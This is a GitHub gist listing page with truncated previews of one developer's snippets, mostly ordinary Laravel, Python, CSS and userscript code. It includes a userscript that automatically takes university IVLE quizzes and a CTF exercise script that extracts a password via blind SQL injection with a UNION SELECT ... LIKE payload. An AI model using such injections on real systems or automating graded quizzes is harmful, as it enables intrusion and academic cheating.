Skip to content

Instantly share code, notes, and snippets.

🎼
Practising his hemidemisemiquaver

Zhang Yi Jiang ZhangYiJiang

🎼
Practising his hemidemisemiquaver
Block or report user

Report or block ZhangYiJiang

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View majority.py
from pprint import pprint
def find_majority(lst):
maj = majority(lst)
pprint(maj)
if len(maj) > 1:
return 'Not Found'
else:
return list(maj.keys())[0]
@ZhangYiJiang
ZhangYiJiang / quiz.user.js
Last active Jan 21, 2019
Automatically take IVLE quizzes (DO NOT USE ON QUIZZES THAT HAVE LIMITED ATTEMPTS)
View quiz.user.js
// ==UserScript==
// @name Automatic Test Taker
// @namespace yijiang
// @description Automatically takes repeatable tests
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/assessment_content.aspx*
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/result_details.aspx*
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/result_main.aspx*
// @version 1.1
// @include https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js
// @grant none
@ZhangYiJiang
ZhangYiJiang / cors.user.js
Created Aug 12, 2016
Reorder CORS tutorial ranking using drag and drop
View cors.user.js
// ==UserScript==
// @name CORS Tutorial Reordering
// @namespace yijiang
// @description Reorder CORS tutorial ranking using drag and drop
// @include https://myaces.nus.edu.sg/cors/RankTutorialServlet
// @require https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js
// @require https://ajax.googleapis.com/ajax/libs/jqueryui/1.11.4/jquery-ui.min.js
// @version 1
// @grant none
// ==/UserScript==
View ArqadeStyleTweaks.css
@namespace url(http://www.w3.org/1999/xhtml);
@-moz-document
domain("gaming.stackexchange.com"),
domain("meta.gaming.stackexchange.com") {
/* Tag hover fix */
a.post-tag::before, span.post-tag::before {
transition: all .15s;
}
View DenyFrames.php
<?php
namespace App\Http\Middleware;
use Illuminate\Http\Request;
class DenyFrames
{
public function handle(Request $request, \Closure $next)
{
return $next($request)->header('X-Frame-Options', 'DENY');
@ZhangYiJiang
ZhangYiJiang / ResetPassword.php
Created May 5, 2016
Reset user password command for Laravel
View ResetPassword.php
<?php
namespace App\Console\Commands;
use App\User;
use Illuminate\Console\Command;
use Illuminate\Contracts\Auth\UserProvider;
class ResetPassword extends Command
{
@ZhangYiJiang
ZhangYiJiang / AddUser.php
Created May 5, 2016
Add user command for Laravel
View AddUser.php
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
use App\User;
class AddUser extends Command
{
/**
@ZhangYiJiang
ZhangYiJiang / 0_reuse_code.js
Created May 5, 2016
Here are some things you can do with Gists in GistBox.
View 0_reuse_code.js
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
View 1.py
with open('1.in') as f:
data = f.read()
print('First half')
print(data.count('(') - data.count(')'))
i = 0
floor = 0
while floor >= 0:
@ZhangYiJiang
ZhangYiJiang / sql_injection.js
Created Aug 22, 2015
NUS Greyhats CTF Day 2 - Brute force password cracking on a blind SQL injection form
View sql_injection.js
// Run this first: injects jQuery into the page
var s = document.createElement('script');
s.src = 'https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js';
document.body.appendChild(s);
// SQL query: 1' AND FALSE UNION SELECT * FROM users WHERE password LIKE 'a%' #
// Recursive function to brute force out the password from the page
function getPassword(p) {
$.post('http://web.nusgreyhats.org/blindsqli/register.php', {
register: "1' AND FALSE UNION SELECT * FROM users WHERE password LIKE '" + p + "%' #"
You can’t perform that action at this time.